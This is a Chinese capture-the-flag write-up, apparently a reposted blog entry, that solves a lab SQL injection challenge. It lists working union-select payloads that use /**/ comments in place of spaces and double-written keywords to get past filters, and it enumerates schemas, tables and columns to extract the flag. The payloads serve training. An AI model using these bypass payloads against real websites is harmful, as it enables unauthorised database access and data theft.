实验吧-简单的SQL注入

题目来源:

http://ctf5.shiyanbar.com/423/web/

题目

writeup

1、进入页面后,尝试输入1

1
2
发现注入点

2、尝试注入

首先尝试

?id=1'

4

其次,尝试

?id=1 and 1=1

3
15
发现,没有and,且,空格被+替代

  • 知识点:可用/**/,()来替代

进行尝试(这里用/**/来代替空格),再次尝试注入
67
3、尝试爆数据库
89

4、尝试爆表名
1011发现flag

5、尝试爆列名
12结果发现了过滤:
column_nameinformation_schema.columns过滤了

这里尝试双写绕过13发现flag

6、获得flag
14

后话

此题基础,可以根据提示信息发现过滤点~

?id=1'
?id=1 and 1=1
?id=1'/**/and/**/'1'='1
?id=1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
?id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
?id=1'/**/union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag
?id=1'/**/union/**/select/**/flag/**/where/**/'1'='1
发布了54 篇原创文章 · 获赞 25 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wyj_1216/article/details/89065153
今日推荐